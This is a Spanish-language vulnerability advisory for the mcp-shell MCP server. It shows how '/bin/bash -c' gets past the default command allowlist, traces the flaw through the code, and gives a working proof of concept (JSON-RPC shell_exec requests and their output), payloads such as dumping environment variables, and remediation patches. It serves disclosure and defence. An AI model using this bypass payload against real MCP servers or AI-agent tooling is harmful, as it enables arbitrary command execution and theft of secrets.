Resumen
mcp-shell distribuye una configuración Docker por defecto (security.yaml) que incluye /bin/bash en la lista blanca de ejecutables permitidos (allowed_executables). El validador de comandos (security.go) únicamente comprueba si el primer token del comando suministrado coincide con un ejecutable permitido; no inspecciona ni rechaza flags de modo de ejecución de shell como -c. Como consecuencia, cualquier cliente de herramientas MCP puede enviar command=/bin/bash -c <comando-arbitrario> a la herramienta shell_exec y ejecutar comandos que no figuran en la lista blanca, incluyendo id, env, curl, wget y cualquier otro binario presente en el contenedor. La evasión funciona con la imagen Docker por defecto, no requiere autenticación y no requiere modificaciones en la configuración del servidor. Una explotación exitosa otorga al atacante ejecución arbitraria de comandos OS dentro del contenedor bajo la identidad de mcpuser.
Detalles técnicos
mcp-shell implementa un modo seguro en el que la ejecución de comandos se restringe a una lista blanca explícita de ejecutables definida en security.yaml. La imagen Docker distribuye este archivo con la siguiente entrada:
# security.yaml (línea 29)
allowed_executables:
- "ls"
- ...
- "/bin/bash" # Only allow if you trust the arguments
El propio comentario reconoce el riesgo, pero la configuración por defecto distribuida no aplica ninguna restricción a nivel de argumentos. La lógica de validación en security.go es la responsable de hacer cumplir el modo seguro:
// security.go:84-96
for _, allowed := range v.config.AllowedExecutables {
if v.matchesExecutable(executable, allowed) {
if err := v.checkBlockedPatternsAndCommands(command); err != nil {
return err
}
return nil
}
}
La variable executable se deriva exclusivamente de parts[0] tras dividir la entrada por espacios en blanco (security.go:67). Cuando el comando es /bin/bash -c id, executable evalúa a /bin/bash, que coincide con la entrada de la lista blanca. El flag -c y los argumentos subsiguientes se pasan a checkBlockedPatternsAndCommands, que únicamente verifica metacaracteres de shell (|, &, ;, <, >, (, ), {, }, [, ], `, $, \, ", ') y una lista configurable de blocked_commands y blocked_patterns, ambas con arrays vacíos por defecto en la configuración distribuida. El flag -c no coincide con ningún metacaracter bloqueado, por lo que la comprobación pasa sin error.
El comando validado llega entonces al ejecutor:
// executor.go:149-163
executable, args, err := e.parseCommand(command)
// ...
cmd = exec.CommandContext(ctx, executable, args...)
parseCommand divide la cadena de comando, produciendo executable="/bin/bash" y args=["-c", "id"]. Se invoca exec.CommandContext directamente (el propio ejecutor no lanza un shell), pero /bin/bash -c id es equivalente a una invocación de shell, ejecutando id fuera de la lista blanca.
Flujo de datos (origen a destino)
| Paso | Ubicación | Descripción |
|---|---|---|
| 1 | Dockerfile:55 | COPY security.yaml /etc/mcp-shell/security.yaml: incluye la configuración vulnerable en la imagen |
| 2 | Dockerfile:57 | ENV MCP_SHELL_SEC_CONFIG_FILE=/etc/mcp-shell/security.yaml: activa la configuración por defecto |
| 3 | security.yaml:29 | /bin/bash registrado en allowed_executables |
| 4 | main.go:84-102 | Herramienta MCP shell_exec registrada con parámetro command obligatorio |
| 5 | handler.go:34 | command := request.RequireString("command"): entrada controlada por el atacante recibida |
| 6 | handler.go:49 | h.validator.validateCommand(command): validación invocada |
| 7 | security.go:67-96 | executable = parts[0] coincide con /bin/bash; -c no bloqueado; retorna nil |
| 8 | handler.go:59 | Comando validado reenviado al ejecutor |
| 9 | executor.go:163 | exec.CommandContext(ctx, "/bin/bash", "-c", "id"): destino final con ejecución arbitraria |
Prueba de concepto (PoC)
Requisitos previos:
- Docker instalado y accesible.
- Código fuente del repositorio disponible (el contexto de construcción es la raíz del repositorio).
python3disponible (para el script PoC automatizado).
Paso 1: Construir la imagen Docker
docker build \
-f vuln-001/Dockerfile \
/ruta/al/repo/mcp-shell \
-t mcp-shell-vuln-001:latest
Paso 2: Ejecutar el script PoC
python3 vuln-001/poc.py mcp-shell-vuln-001:latest
El script envía tres peticiones MCP JSON-RPC por stdio:
- Handshake
initialize tools/call shell_execconcommand="/bin/bash -c id": payload de explotacióntools/call shell_execconcommand="id": control, la invocación directa debe ser bloqueada
Salida esperada (explotación exitosa):
[id=2] /bin/bash -c id response:
→ status='success', exit_code=0, stdout='uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)'
[+] PASS: uid= confirmado → ejecución arbitraria de comandos vía /bin/bash -c exitosa
[+] control confirmado: ejecución directa de 'id' bloqueada (comportamiento normal de lista blanca)
→ evasión de lista blanca probada exclusivamente a través de la ruta /bin/bash -c
Alternativamente, usando printf sin Python:
printf '%s\n' \
'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"protocolVersion":"2024-11-05","capabilities":{},"clientInfo":{"name":"poc","version":"0.0.1"}}}' \
'{"jsonrpc":"2.0","method":"notifications/initialized","params":{}}' \
'{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"shell_exec","arguments":{"command":"/bin/bash -c id","base64":false}}}' \
| docker run --rm -i mcp-shell-vuln-001:latest
Respuesta MCP observada:
{
"command": "/bin/bash -c id",
"execution_time": "3.854555ms",
"exit_code": 0,
"security_info": {"security_enabled": true, "working_dir": "/tmp", "timeout_applied": true},
"status": "success",
"stderr": "",
"stdout": "uid=1000(mcpuser) gid=1000(mcpuser) groups=1000(mcpuser),1000(mcpuser)"
}
Remediación
1. Eliminar los intérpretes de shell de la lista blanca por defecto en security.yaml:
--- a/security.yaml
+++ b/security.yaml
- - "/bin/bash" # Only allow if you trust the arguments
2. Añadir validación a nivel de argumentos en security.go para bloquear flags de modo de ejecución de shell incluso cuando un intérprete de shell esté en la lista blanca:
--- a/security.go
+++ b/security.go
executable := parts[0]
+ args := parts[1:]
+
+ if isShellCommandMode(executable, args) {
+ return fmt.Errorf("shell command mode is not allowed in secure mode: %s", executable)
+ }
// Check if the executable is in the allowlist
for _, allowed := range v.config.AllowedExecutables {
...
}
+
+ func isShellCommandMode(executable string, args []string) bool {
+ base := filepath.Base(executable)
+ switch base {
+ case "sh", "bash", "dash", "ash", "zsh", "ksh":
+ for _, arg := range args {
+ if arg == "-c" || (strings.HasPrefix(arg, "-") && strings.Contains(arg, "c")) {
+ return true
+ }
+ }
+ }
+ return false
+ }
Impacto
Esta es una vulnerabilidad de inyección de comandos OS (CWE-78). La herramienta MCP shell_exec está diseñada para ejecutar únicamente ejecutables preaprobados; la evasión permite a un atacante ejecutar comandos arbitrarios presentes en la imagen del contenedor (curl, wget, env, sed, grep, tar, etc., todos instalados por el Dockerfile) bajo la identidad de mcpuser (UID 1000).
Quién se ve afectado:
Cualquier operador que despliegue la imagen Docker oficial sin modificar el security.yaml por defecto es vulnerable desde el momento del despliegue. No se requiere configuración personalizada, privilegios elevados ni autenticación previa.
Los clientes MCP que interactúan con una instancia vulnerable de mcp-shell, incluyendo agentes de IA automatizados, plataformas de orquestación LLM y pipelines de CI/CD, pueden ser aprovechados para exfiltrar secretos, manipular archivos accesibles a mcpuser o pivotar dentro de la red del contenedor.
El flag --network=none utilizado en el PoC demuestra una explotación exitosa incluso sin acceso a red; en despliegues de producción con acceso a red, el impacto se extiende a la exfiltración de datos y el movimiento lateral.
Consecuencias concretas de la explotación:
- Confidencialidad: Volcado de variables de entorno (
/bin/bash -c env), lectura de archivos o exfiltración de credenciales visibles paramcpuser. - Integridad: Escritura o modificación de archivos dentro del sistema de archivos con escritura habilitada del contenedor.
- Disponibilidad: Consumo de recursos del contenedor o terminación de procesos.
